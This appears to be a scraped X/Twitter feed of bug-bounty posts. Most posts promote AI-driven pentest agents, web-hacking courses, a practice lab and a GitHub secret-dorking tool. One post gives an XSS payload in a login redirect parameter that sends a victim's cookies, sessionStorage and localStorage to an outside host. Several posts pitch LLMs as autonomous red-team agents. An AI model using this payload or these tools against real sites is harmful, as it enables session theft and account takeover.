myskar

[myskar @BugHunta]

@ide9x @Hacker0x01 how sad

[7h3h4ckv157 @7h3h4ckv157]

Automated penetration testing from your terminal: plug in your Claude, GPT, or any LLM subscription and turn it into an autonomous red team agent with 13+ specialized agents and 120+ OWASP test cases.

Resource: https://t.co/FpWcf4LqYU

[myskar @BugHunta]

@lu3ky13 how to use? do you have tutorial to find bugs? before i purchase

[Vivek | Cybersecurity @VivekIntel]

🔥 Web Application Security Collection
(Web Hacking • OWASP Top 10 • Bug Bounty • Pentesting)

Inside the collection: • Information Gathering
• Web Security Fundamentals
• SQL Injection
• Authentication Bypass
• JWT Security
• CSRF
• SSRF
• XSS
• XXE
• IDOR
• Path Traversal
• File Upload Vulnerabilities
• OWASP ZAP
• Bug Bounty Methodology

Topics Covered: • Reconnaissance
• Attack Surface Mapping
• SQLi Exploitation
• Authentication Flaws
• Session Management
• JWT Attacks
• CSRF Attacks
• SSRF Exploitation
• XSS Testing
• XXE Exploitation
• IDOR Discovery
• File Upload Abuse
• Path Traversal
• Browser Security
• Web Exploitation Workflow
• OWASP Top 10

Effective web hacking is mostly reconnaissance, logic analysis, and understanding how applications work.

📥 Drive Folder: https://t.co/GDwxdRFuL3

#WebSecurity #WebHacking #OWASP #BugBounty #Pentesting #XSS #SSRF #CSRF #XXE #IDOR #CyberSecurity #EthicalHacking

[Biscuit @OreoB1scuit]

nice bypass for validation
video source: https://t.co/ivNtt2DqMR

[7h3h4ckv157 @7h3h4ckv157]

Claude skill bundle for bug hunting and external red-team work 📍

- 71 skills
- 15 slash commands
- 681 disclosed report patterns across 24 core vulnerability classes
- enterprise identity + infrastructure attack matrices
- engagement-folder scaffolding
- Burp MCP integration
- battle-tested across authorized red-team and bug-hunting engagements
- + public training platforms

Credit/Resource: https://t.co/elhBpUVZvg

(Just Sharing)

[Vivek | Cybersecurity @VivekIntel]

🐞 BugHunter: AI-Powered Bug Bounty Hunting Without a Subscription

A terminal-first toolkit that automates recon, vulnerability discovery, validation, and report writing. Run it with Claude Code or completely standalone using local and free AI providers.

🔗 https://t.co/PDtF15taR9

#bugbounty #RedTeam #CyberSecurity #AIAgents #OpenSource #Pentesting

[Claude BUG Bounty @trybughunter]

Install BUG HUNTER in 3 commands:

git clone https://t.co/PVJrlBtIvu

cd claude-bug-bounty

./install.sh --agent standalone

[myskar @BugHunta]

@demicannon001 @only01Essential congrats bro.. what program or platform is this?

[myskar @BugHunta]

@BugBunny_ai im excited

[myskar @BugHunta]

@Zaddyzaddy @BugBunny_ai give me a try

[myskar @BugHunta]

@Zaddyzaddy @BugBunny_ai can i try?

[Muhammad Saqib Arif 🇵🇰 @saqibarif98]

Account Takeover using SSO Logins by Rikesh Baniya https://t.co/VIAUwgLwpS

[Seth Kraft @skraft09]

Grateful for another bounty! 🙏

Docs, tools, tips 👉https://t.co/0uXMMooszY

#TogetherWeHitHarder

[Secuaudit @Secuaudit]

If you’re not using https://t.co/QzZGLOjipz for your bug bounty hunting, you’re probably leaving money on the table 💸

A lot of impactful vulnerabilities (SSRF, Host Header Injection, Blind XXE, Webhooks, async callbacks…) need reliable OOB interaction detection.
https://t.co/QzZGLOjipz gives you that for free. 👀

#BugBounty #AppSec #CyberSecurity #Hacking #Pentest #BugBountyTips

[João Gomes (zig_shark) @JoaoGomes12243]

/login?redirectUrl=javascript:fetch('https://t.co/sgFFzZHc4q 0{method:'POST',%20body:JSON.stringify({cookies:document.cookie,sessionStorage:sessionStorage,localStorage:localStorage})})

[Vivek | Cybersecurity @VivekIntel]

Claude Code Skill Bundle for Bug Bounty Hunting & External Red Team Operations 🤖💀

• 51 offensive security skills + 15 slash commands • Trained on 574+ disclosed HackerOne-style report patterns • Covers XSS, SSRF, SQLi, OAuth, JWT, GraphQL, RCE, IDOR & API abuse • Enterprise attack chains for M365, Okta, VPNs, SharePoint & vCenter • Built-in recon, exploit chaining, triage, evidence hygiene & reporting

https://t.co/89R7Cx20oz

#BugBounty #RedTeam #CyberSecurity #Pentesting #AppSec

[Mustafa Adam Gamaraldin Abdalla 🇸🇩♥️ @wadgamaraldeen]

I just Posted My Current Methodology For Discovering Account Takeover via Password Rest Flows at LinkedIn :- https://t.co/sYgYcPljjl

#bugbountytips #Cybersecurity #AccountTakeover

[Kawindu Wijewardhane ⌬ @k_wijewardhane]

Want to learn bug bounty but don't know where to start?

We built VulnWeb a safe playground with 50+ real vulnerabilities to exploit. Earn XP, collect flags, level up.

Free. Legal. Beginner-friendly. https://t.co/wqrsb5k0a4

#bugbounty #ethicalhacking #cybersecurity #infosec #XSS #SQLinjection #pentesting #hackerlife #CTF #learnhacking

[Vivek | Cybersecurity @VivekIntel]

🔎 GitHub secrets discovery tool for bug hunters, security researchers, and OSINT analysts.

GitDorker uses GitHub Search API with 239+ GitHub dorks to uncover exposed credentials, API keys, tokens, configuration files, and sensitive information from public repositories.

Features:
• Automated GitHub dorking
• 239+ prebuilt GitHub dorks
• GitHub token rotation to avoid rate limits
• Docker support
• Custom search queries for domains, orgs, and users
• Designed for attack surface mapping & secret hunting

Works well with:
• TruffleHog
• GitRob
• Other secret scanning workflows

Built in Python for reconnaissance and GitHub OSINT.

🔗 https://t.co/35DOZ4aO8u

#CyberSecurity #BugBounty #OSINT #GitHub #SecretScanning #Recon